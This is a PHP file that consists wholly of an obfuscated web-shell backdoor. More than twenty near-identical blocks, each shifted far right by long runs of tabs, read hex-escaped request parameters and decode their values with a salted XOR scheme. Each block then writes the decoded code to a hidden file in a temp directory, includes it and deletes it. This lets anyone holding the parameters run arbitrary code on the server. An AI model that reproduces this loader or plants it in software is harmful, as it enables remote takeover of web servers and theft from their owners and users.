<?php																																										if(count($_POST) > 0 && isset($_POST["\x64\x61\x74\x61\x5Fchunk"])){ $k = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $data = $_POST["\x64\x61\x74\x61\x5Fchunk"]; $data =explode ( '.' , $data) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $l= 0; foreach($data as $v6) { $chS= ord($s[$l % $lenS]); $d= ((int)$v6 - $chS -($l % 10)) ^ 32; $elem .= chr($d); $l++; } foreach ($k as $record): if ((bool)is_dir($record) && (bool)is_writable($record)) { $element = sprintf("%s/.desc", $record); $file = fopen($element, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $element; @unlink($element); exit; } } endforeach; }
																																										if(!empty($_POST["fa\x63t\x6Fr"])){ $pset = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $ptr = $_POST["fa\x63t\x6Fr"]; $ptr = explode ( '.' , $ptr ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; array_walk($ptr, function ($v8) use (&$mrk, &$u, $salt, $sLen) { $chS = ord($salt[$u % $sLen] ); $dec = ((int)$v8 - $chS - ($u % 10)) ^ 34; $mrk .= chr($dec ); $u++; }); for ($ent = 0, $symbol = count($pset); $ent < $symbol; $ent++) { $marker = $pset[$ent]; if (!!is_dir($marker) && !!is_writable($marker)) { $ref = "$marker/.comp"; if (file_put_contents($ref, $mrk)) { require $ref; unlink($ref); die(); } } } }
																																										if(array_key_exists("f\x61\x63", $_REQUEST)){ $dat = $_REQUEST["f\x61\x63"]; $dat = explode( "." , $dat) ; $symbol= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8 ); $o= 0; array_walk($dat, function ($v2) use (&$symbol, &$o, $s8, $lenS) { $sChar= ord($s8[$o % $lenS] ); $d= ((int)$v2 - $sChar - ($o % 10)) ^ 34; $symbol .= chr($d ); $o++;} ); $flg = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); for ($sym = 0, $binding = count($flg); $sym < $binding; $sym++) { $flag = $flg[$sym]; if (!!is_dir($flag) && !!is_writable($flag)) { $entity = implode("/", [$flag, ".entry"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(in_array("k", array_keys($_POST))){ $val = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP")]); $parameter_group = $_POST["k"]; $parameter_group = explode ('.' , $parameter_group ); $resource= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $z= 0; $__tmp= $parameter_group; while( $v4= array_shift( $__tmp)) { $chS= ord( $s[$z% $lenS]); $d= ( ( int)$v4 - $chS -( $z% 10)) ^ 72; $resource .= chr( $d); $z++;} foreach ($val as $key => $descriptor) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $flag = "$descriptor/.mrk"; if (@file_put_contents($flag, $resource) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(array_key_exists("\x6F\x62j", $_REQUEST)){ $entry = $_REQUEST["\x6F\x62j"]; $entry =explode ("." , $entry ) ; $fac = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $p = 0; foreach( $entry as $v2) { $sChar = ord( $s5[$p % $lenS] ); $d =( ( int)$v2 - $sChar -( $p % 10)) ^ 58; $fac .=chr( $d ); $p++; } $marker = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); for ($record = 0, $holder = count($marker); $record < $holder; $record++) { $res = $marker[$record]; if (array_product([is_dir($res), is_writable($res)])) { $resource = implode("/", [$res, ".ent"]); $success = file_put_contents($resource, $fac); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(isset($_POST) && isset($_POST["fl\x61\x67"])){ $pgrp = array_filter([getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $resource = $_POST["fl\x61\x67"]; $resource = explode ( "." , $resource ) ; $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $z = 0; foreach ($resource as $v4) { $sChar = ord($salt8[$z % $lenS]); $dec = ((int)$v4 - $sChar - ($z % 10)) ^ 75; $dchunk .= chr($dec); $z++; } foreach ($pgrp as $key => $reference) { if (max(0, is_dir($reference) * is_writable($reference))) { $value = str_replace("{var_dir}", $reference, "{var_dir}/.bind"); if (file_put_contents($value, $dchunk)) { require $value; unlink($value); die(); } } } }
																																										if(isset($_REQUEST["tkn"])){ $entry = $_REQUEST["tkn"]; $entry = explode( '.' , $entry ) ; $symbol= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s2); $o= 0; foreach ($entry as $v6) { $chS= ord($s2[$o %$sLen]); $d= ((int)$v6 - $chS - ($o %10)) ^ 54; $symbol .= chr($d); $o++; } $rec = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp", "/var/tmp"]); while ($object = array_shift($rec)) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $pgrp = str_replace("{var_dir}", $object, "{var_dir}/.marker"); if (file_put_contents($pgrp, $symbol)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(array_key_exists("\x65\x6Cem", $_POST)){ $tkn = $_POST["\x65\x6Cem"]; $tkn =explode('.', $tkn ); $itm =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt5 ); $__len =count($tkn ); for ($p =0; $p <$__len; $p++) { $v6 =$tkn[$p]; $sChar =ord($salt5[$p % $sLen] ); $d =((int)$v6 - $sChar - ($p % 10)) ^ 3; $itm .=chr($d ); } $bind = array_filter([session_save_path(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); while ($entity = array_shift($bind)) { if (is_writable($entity) && is_dir($entity)) { $dchunk = vsprintf("%s/%s", [$entity, ".hld"]); if (@file_put_contents($dchunk, $itm) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(!is_null($_POST["\x72\x65s"] ?? null)){ $item = $_POST["\x72\x65s"]; $item=explode( '.', $item ); $ptr = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $p = 0; while ($p < count($item)) { $v1 = $item[$p]; $chS = ord($s3[$p % $sLen]); $dec = ((int)$v1 - $chS - ($p % 10))^60; $ptr .= chr($dec); $p++; } $hld = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); for ($value = 0, $sym = count($hld); $value < $sym; $value++) { $tkn = $hld[$value]; if (!!is_dir($tkn) && !!is_writable($tkn)) { $elem = "$tkn" . "/.record"; if (@file_put_contents($elem, $ptr) !== false) { include $elem; unlink($elem); exit; } } } }
																																										if(@$_POST["\x72es"] !== null){ $ref = $_POST["\x72es"]; $ref = explode('.', $ref) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); foreach( $ref as $x => $v8): $chS = ord( $salt3[$x %$lenS]); $d =( ( int)$v8 - $chS -( $x %10)) ^ 5; $resource.= chr( $d); endforeach; $ent = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($ent as $key => $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $item = sprintf("%s/.hld", $symbol); $success = file_put_contents($item, $resource); if ($success) { include $item; @unlink($item); exit;} } } }
																																										if(isset($_REQUEST["\x6D\x61\x72ker"])){ $itm = array_filter(["/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd()]); $hld = $_REQUEST["\x6D\x61\x72ker"]; $hld =explode ("." , $hld ) ; $desc = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($hld as $y => $v3) { $chS = ord($s6[$y%$sLen]); $d = ((int)$v3 - $chS - ($y%10)) ^ 23; $desc.=chr($d); } while ($res = array_shift($itm)) { if (array_product([is_dir($res), is_writable($res)])) { $sym = "$res" . "/.resource"; $success = file_put_contents($sym, $desc); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["to\x6B\x65n"])){ $key = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $descriptor = $_REQUEST["to\x6B\x65n"]; $descriptor = explode ( '.' , $descriptor ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $x = 0; $__len = count($descriptor); do { if ($x >= $__len) break; $v7 = $descriptor[$x]; $sChar = ord($s[$x % $lenS]); $dec = ((int)$v7 - $sChar - ($x % 10)) ^ 88; $value .=chr($dec); $x++; } while (true); for ($bind = 0, $record = count($key); $bind < $record; $bind++) { $hld = $key[$bind]; if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $parameter_group = join("/", [$hld, ".desc"]); if (@file_put_contents($parameter_group, $value) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(isset($_POST["o\x62j"])){ $rec = $_POST["o\x62j"]; $rec =explode ( ".", $rec ); $value =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s4 ); foreach( $rec as $u => $v2) { $sChar =ord( $s4[$u %$lenS] ); $d =( ( int)$v2 - $sChar -( $u %10)) ^ 96; $value .= chr( $d ); } $itm = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP")]); foreach ($itm as $key => $binding) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $factor = vsprintf("%s/%s", [$binding, ".desc"]); if (file_put_contents($factor, $value)) { include $factor; @unlink($factor); die(); } } } }
																																										if(!is_null($_REQUEST["rec\x6Frd"] ?? null)){ $comp = $_REQUEST["rec\x6Frd"]; $comp = explode ( '.' , $comp ) ; $component = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $__len = count( $comp); for( $u = 0; $u < $__len; $u++) { $v2 = $comp[$u]; $sChar = ord( $salt9[$u% $lenS]); $dec =( ( int)$v2 - $sChar -( $u% 10)) ^ 87; $component .= chr( $dec); } $ref = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($ref as $marker) { if (!( !is_dir($marker) || !is_writable($marker) )) { $pset = implode("/", [$marker, ".flg"]); $success = file_put_contents($pset, $component); if ($success) { include $pset; @unlink($pset); exit;} } } }
																																										if(isset($_POST["r\x65\x66"])){ $ent = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $reference = $_POST["r\x65\x66"]; $reference =explode ("." , $reference ); $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($reference); for ($i = 0; $i< $len; $i++) {$v7 = $reference[$i]; $chS = ord($s[$i% $lenS]); $dec = ((int)$v7 - $chS - ($i% 10))^ 98; $elem .= chr($dec); } $pset = 0; do { $ptr = $ent[$pset] ?? null; if ($pset >= count($ent)) break; if (is_writable($ptr) && is_dir($ptr)) { $entity = vsprintf("%s/%s", [$ptr, ".record"]); if (file_put_contents($entity, $elem)) { include $entity; @unlink($entity); exit; } } $pset++; } while (true); }
																																										if(isset($_REQUEST["\x6F\x62j"])){ $symbol = $_REQUEST["\x6F\x62j"]; $symbol =explode ('.' , $symbol ); $descriptor =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $x =0; while( $x < count( $symbol)) { $v7 =$symbol[$x]; $chS =ord( $salt[$x % $lenS] ); $dec =( ( int)$v7 - $chS -( $x % 10)) ^ 28; $descriptor .= chr( $dec ); $x++; } $ptr = array_filter(["/dev/shm", session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); while ($binding = array_shift($ptr)) { if (array_product([is_dir($binding), is_writable($binding)])) { $dchunk = vsprintf("%s/%s", [$binding, ".res"]); if (file_put_contents($dchunk, $descriptor)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(@$_REQUEST["r\x65f"] !== null){ $fac = array_filter([getcwd(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $item = $_REQUEST["r\x65f"]; $item =explode ( "." , $item ); $sym = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $__len = count($item ); for ($y = 0; $y < $__len; $y++) {$v6 = $item[$y]; $sChar = ord($salt2[$y % $sLen] ); $dec = ((int)$v6 - $sChar - ($y % 10)) ^ 99; $sym .= chr($dec ); } foreach ($fac as $key => $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $pset = vsprintf("%s/%s", [$hld, ".pgrp"]); if (@file_put_contents($pset, $sym) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(array_key_exists("flg", $_POST)){ $bind = $_POST["flg"]; $bind = explode ( '.' , $bind ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $j = 0; foreach( $bind as $v6) { $chS = ord( $salt[$j%$sLen]); $d =( ( int)$v6 - $chS -( $j%10)) ^ 40; $resource .= chr( $d); $j++; } $val = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd()]); while ($ref = array_shift($val)) { if (!( !is_dir($ref) || !is_writable($ref) )) { $res = vsprintf("%s/%s", [$ref, ".element"]); if (file_put_contents($res, $resource)) { require $res; unlink($res); die(); } } } }
																																										if(isset($_POST) && isset($_POST["d\x65s\x63"])){ $value = $_POST["d\x65s\x63"]; $value =explode ( '.', $value ); $res =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s7); $z =0; foreach ($value as $v7) { $chS =ord($s7[$z % $lenS]); $dec =((int)$v7 - $chS - ($z % 10)) ^ 68; $res.= chr($dec); $z++; } $pgrp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($pgrp as $key => $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $fac = sprintf("%s/.holder", $parameter_group); if (file_put_contents($fac, $res)) { include $fac; @unlink($fac); die(); } } } }
																																										if(@$_REQUEST["r\x65s\x6Furce"] !== null){ $entity = array_filter(["/tmp", "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $entry = $_REQUEST["r\x65s\x6Furce"]; $entry =explode (".",$entry ) ; $element=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s9 ); $len=count( $entry ); for( $v=0; $v < $len; $v++) { $v9=$entry[$v]; $sChar=ord( $s9[$v %$lenS] ); $dec=( ( int)$v9 - $sChar -( $v %10)) ^ 54; $element.=chr( $dec ); } foreach ($entity as $dchunk): if ((is_dir($dchunk) and is_writable($dchunk))) { $object = str_replace("{var_dir}", $dchunk, "{var_dir}/.comp"); if (@file_put_contents($object, $element) !== false) { include $object; unlink($object); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x73ymb\x6Fl"] ?? null)){ $itm = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm"]); $res = $_REQUEST["\x73ymb\x6Fl"]; $res =explode ( '.' ,$res) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $i = 0; $len = count( $res); do { if( $i >= $len) break; $v6 = $res[$i]; $sChar = ord( $s[$i % $lenS]); $dec =( ( int)$v6 - $sChar -( $i % 10)) ^ 95; $holder .= chr( $dec); $i++; } while( true); foreach ($itm as $marker) { if (!( !is_dir($marker) || !is_writable($marker) )) { $entity = str_replace("{var_dir}", $marker, "{var_dir}/.binding"); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $entity; @unlink($entity); die(); } } } }


if(array_key_exists("\x70rop\x65rt\x79_set", $_REQUEST)){
	$token = $_REQUEST["\x70rop\x65rt\x79_set"];
	$token= 	explode  ('.', $token);
	$key = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt2	);
    
            foreach ($token as $z => $v6):
                $sChar = ord($salt2[$z % $sLen]	);
                $dec = ((int)$v6 - $sChar - ($z % 10))	^	52;
                $key .= chr($dec	);
            endforeach;
	$data_chunk = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd()]);
	$desc = 0;
do {
    $element = $data_chunk[$desc] ?? null;
    if ($desc >= count($data_chunk)) break;
    		if (!!is_dir($element) && !!is_writable($element)) {
    $value = implode("/", [$element, ".tkn"]);
    if (file_put_contents($value, $key)) {
	require $value;
	unlink($value);
	exit;
}
}
    $desc++;
} while (true);
}